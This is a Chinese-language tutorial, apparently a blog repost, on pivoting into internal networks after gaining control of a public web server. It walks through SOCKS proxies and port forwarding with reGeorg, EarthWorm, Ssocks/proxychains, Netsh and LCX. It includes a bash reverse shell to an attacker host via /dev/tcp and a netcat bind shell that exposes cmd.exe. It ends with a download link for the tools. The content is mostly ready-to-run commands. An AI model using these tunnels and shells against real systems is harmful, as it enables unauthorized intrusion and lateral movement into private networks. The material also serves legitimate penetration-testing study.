1. 程式人生 > >內網轉發

內網轉發

目錄

內網轉發

reGeorg結合proxychains代理鏈

EW(EarthWorm)結合proxychains代理鏈

EW正向代理

EW反向代理

Ssocks結合proxychains代理鏈

NC實現反彈shell

當Web伺服器是Windows系統時

當Web伺服器是Linux系統時

Netsh實現埠對映

LCX實現埠轉發


內網轉發

在滲透測試中,當我們獲得了外網伺服器(如web伺服器,ftp伺服器,mali伺服器等等)的一定許可權後發現這臺伺服器可以直接或者間接的訪問內網。此時滲透測試進入後滲透階段,一般情況下,內網中的其他機器是不允許外網機器訪問的。這時候,我們可以通過 埠轉發

 或將這臺外網伺服器設定成為 代理,使得我們自己的攻擊機可以直接訪問與操作內網中的其他機器。實現這一過程的手段就叫做內網轉發

那又有很多人會問了,為什麼不直接通過登陸伺服器來對內網中其他機器進行滲透,而是通過內網轉發呢? 

大部分時候我們獲取到的伺服器的許可權不夠,無法直接登入。 如果直接登入伺服器中進行操作,我們需要上傳工具進行很多操作,如果伺服器缺少對應的環境變數或者元件,會導致滲透受阻。 而且遠端登入會留下比較明顯的痕跡 ,因此內網轉發是我們最好的選擇,在本地進行操作是最方便的。

常見內網轉發工具的分類:

按照協議進行分類,可以分為:Socks協議 

 Socket協議 

按照工具工作原理分類分為: 埠轉發類 和 web代理類

reGeorg結合proxychains代理鏈

reGeorg是用python寫的利用Web進行代理的工具,流量只通過 http 傳輸

現在有這麼一個環境,我們獲取到了位於公網Web伺服器的許可權,或者我們擁有可以往公網Web伺服器web目錄下上傳任何檔案的許可權,但是該伺服器開啟了防火牆,只開放了80埠。內網中存在另外一臺主機,這裡假設內網存在一臺Web伺服器(便於管觀察現象)。然後,我們現在要將公網Web伺服器設定為代理,通過公網伺服器的80埠,訪問和探測內網Web伺服器的資訊。

然後根據公網伺服器網站是哪種指令碼型別上傳哪種型別的指令碼,這裡我搭建的是php環境,所以上傳php指令碼

然後,我們在瀏覽器訪問我們上傳的php指令碼,上傳路徑我們一定得知道,這裡我直接上傳到網站根目錄了。如果看到下面的Georg says, 'All seems fine' 表示一切正常! 

然後我們在攻擊機上執行如下語句

python reGeorgSocksProxy.py -p 1080 -u http://100.100.10.12/tunnel.nosocket.php #表示我們1080埠的流量都轉發給指定的那個url

然後配置proxychains代理鏈的配置檔案,將代理設定成本機的1080埠:  socks5 100.100.10.12 1080 
然後命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19

 如圖,可以看到我們已經可以訪問內網的Web伺服器。那麼,我們就可以進一步滲透了! 

 EW(EarthWorm)結合proxychains代理鏈

EW 是一套行動式的網路穿透工具,具有 SOCKS5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。該工具能夠以“正向”、“反向”、“多級級聯”等方式打通一條網路隧道,直達網路深處,用蚯蚓獨有的手段突破網路限制,給防火牆鬆土。工具包中提供了多種可執行檔案,以適用不同的作業系統,Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用,跨平臺,任何平臺都可以輕鬆使用!

現在有這麼一個環境,我們獲取到了位於公網Web伺服器的許可權,內網中存在另外一臺主機,這裡假設內網存在一臺Web伺服器。然後,我們現在要將公網Web伺服器設定為代理,訪問和探測內網Web伺服器的資訊。

不管是linux還是windows系統,Earthworm的包都是一個,如圖上面。直接進入包裡面,選擇對應的程式即可執行

 

EW正向代理

Web伺服器的設定

如果是Linux系統
./ew_for_linux64 -s ssocksd -l 1080  #監聽本地的8080埠

如果是Windows系統
ew_for_Win.exe -s ssocksd -l 1080   #監聽本地的8080埠

我們主機的設定

如果是Linux系統,配置proxychains代理鏈的配置檔案,將代理設定成 100.100.10.12的1080埠  socks5 100.100.10.12 1080 
然後命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19

如果是Windows系統,直接瀏覽器中設定代理為 100.100.10.12的1080埠,或者利用  Proxifier 、sockscap64 設定全域性代理

EW反向代理

Web伺服器的設定

如果是Linux系統:
./ew_for_linux64 -s rssocks -d 100.100.10.13 -e 8888  #將本機的流量全部轉發到100.100.10.13的8888埠

如果是Windows系統:
ew_for_Win.exe  s  rssocks -d 100.100.10.13 -e 8888  #將本機的流量全部轉發到100.100.10.13的8888埠

我們主機的設定

如果是Linux系統:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888  #將本機的1080埠的流量都轉發到8888埠
然後配置proxychains代理鏈的配置檔案,將代理設定成 127.0.0.1的1080埠  socks5 127.0.0.1 1080 
然後命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19


如果是Windows系統
ew_for_Win.exe -s rcsocks -l 1080 -e 8888   #將本機的1080埠的流量都轉發到8888埠
然後瀏覽器中設定代理為 100.100.10.12的1080埠,或者利用  Proxifier 、sockscap64 設定全域性代理

Ssocks結合proxychains代理鏈

Ssocks是Linux下一款埠轉發的工具,而proxychains代理鏈是Linux下一款代理設定工具。由於Ssocks不穩定,所以不建議使用。

現在有這麼一個環境,我們獲取到了位於公網Web伺服器的shell,該web伺服器是Linux系統,內網中存在另外一臺主機,這裡假設內網存在一臺Web伺服器。然後,我們現在要將公網Web伺服器設定為代理,訪問和探測內網Web伺服器的資訊。

首先,我們的主機和公網的Web伺服器都得安裝上Ssocks,我們的主機還得安裝有proxychains(Kali下自帶)。

安裝Ssocks的話,直接安裝包安裝,軟體會被安裝在 /usr/local/bin目錄下,所以我們得去該目錄執行命令。

Web伺服器的操作

./rssocks -vv -s 100.100.10.13:9999   #接收100.100.10.13的9999埠的流量

我們主機的操作

首先配置proxychains代理鏈的配置檔案,把最後的內容改成  socks5 127.0.0.1 8080 

./rcsocks -l 1080 -p 9999 -vv   #然後將本地的1080埠的流量轉發到9999埠

接下來,我們想要訪問和操作操作內網主機192.168.10.19的話,只需要在命令前面加上 proxychains
比如,獲得內網Web伺服器的網頁檔案: proxychains curl 192.168.10.19

如果這裡我們的主機是Windows系統的話,Windows系統下也有很多代理工具,比如 Proxifier sockscap64

 NC實現反彈shell

如圖,我們已經拿到了Web伺服器的shell,我們發現內網中還有主機,但是我們不能直接與內網主機進行通訊。所以,我們就得藉助Web伺服器來和內網主機進行通訊了。Web伺服器雙網絡卡,既可以和內網通訊也可以和內網進行通訊。

我們往Web伺服器上上傳NC,然後反彈web伺服器的shell到我們的本地,那樣,我們就可以在我們的主機上訪問內網中的主機了。

當Web伺服器是Windows系統時

Web主機的操作: 

nc.exe  -l -p  444  -t -e  cmd.exe    #將cmd.exe 轉發到444埠上

我們主機的操作:

nc.exe  -nvv  100.100.10.11  444  #連線100.100.10.11的444埠

從下面的截圖中可以看到,我們已經接受到Web伺服器的cmd執行環境了。

當Web伺服器是Linux系統時

Web主機的操作:

bash -i >& /dev/tcp/100.100.10.10/4444 0>&1   #將shell環境轉發到100.100.10.10的4444埠上

我們主機的操作:

nc.exe -lvnp 4444  #監聽本地的4444埠

從下面圖中可以看到,我們的windows主機可以執行Linux命令了,說明反彈到了linux 的shell環境。並且可以和內網中的主機通訊了。 


關於Netcat的更多用法:Netcat瑞士軍刀的簡單使用

Netsh實現埠對映

Netsh 是Windows自帶的命令列指令碼工具,它可以建立埠對映。

現在有這麼一個環境,內網中有一臺Web伺服器,但是我們處於公網,所以無法訪問該伺服器。於是,我們可以在中間Web伺服器上利用Netsh實現一個埠對映,只要我們訪問中間Web伺服器公網地址的指定埠,就相當於我們訪問內網Web伺服器的80埠。

中間Web伺服器的配置

netsh interface portproxy add v4tov4 listenaddress=100.100.10.11 listenport=8080 connectaddress=192.168.10.19 connectport=80 #新建一個埠對映,將100.100.10.11的8080埠和192.168.10.19的80埠做個對映
netsh interface portproxy show all  #檢視埠對映
netsh interface portproxy delete v4tov4 listenaddress=100.100.10.11 listenport=8080 #刪除埠對映

那麼,我們通過訪問Web伺服器的公網地址的8080埠就可以訪問內網中的Web伺服器了。

LCX實現埠轉發

提起Lcx,可能大家並不會陌生,早些年被稱為埠轉發神器。 Lcx有它的侷限性,比如原始版本不支援linux,不免殺等等,但lcx在某些特定的場合依然發揮著重要的作用。同樣基於Socket協議。

現在有這麼一個環境,內網中有一臺Web伺服器,但是我們處於公網,所以無法訪問該伺服器。於是,我們可以在中間Web伺服器上利用LCX進行埠轉發,將內網Web主機的80埠轉發到公網Web伺服器的8080埠上,那麼我們訪問公網Web伺服器的8080埠就相當於訪問內網Web伺服器的80埠。

公網web伺服器的配置 

lcx.exe -tran 8080 192.168.10.19 80  #將192.168.10.19的80埠轉發到本地的8080埠

當我們訪問公網伺服器的8080埠時,就相當於訪問內網伺服器的80埠 

 

相關文章: Socket套接字和Sockes協議

                   正向代理和反向代理

                   埠轉發和埠對映

本文相關軟體: https://pan.baidu.com/s/1Fd9D6BrkTrTTy9Ko1MHrfw    提取碼: ixgi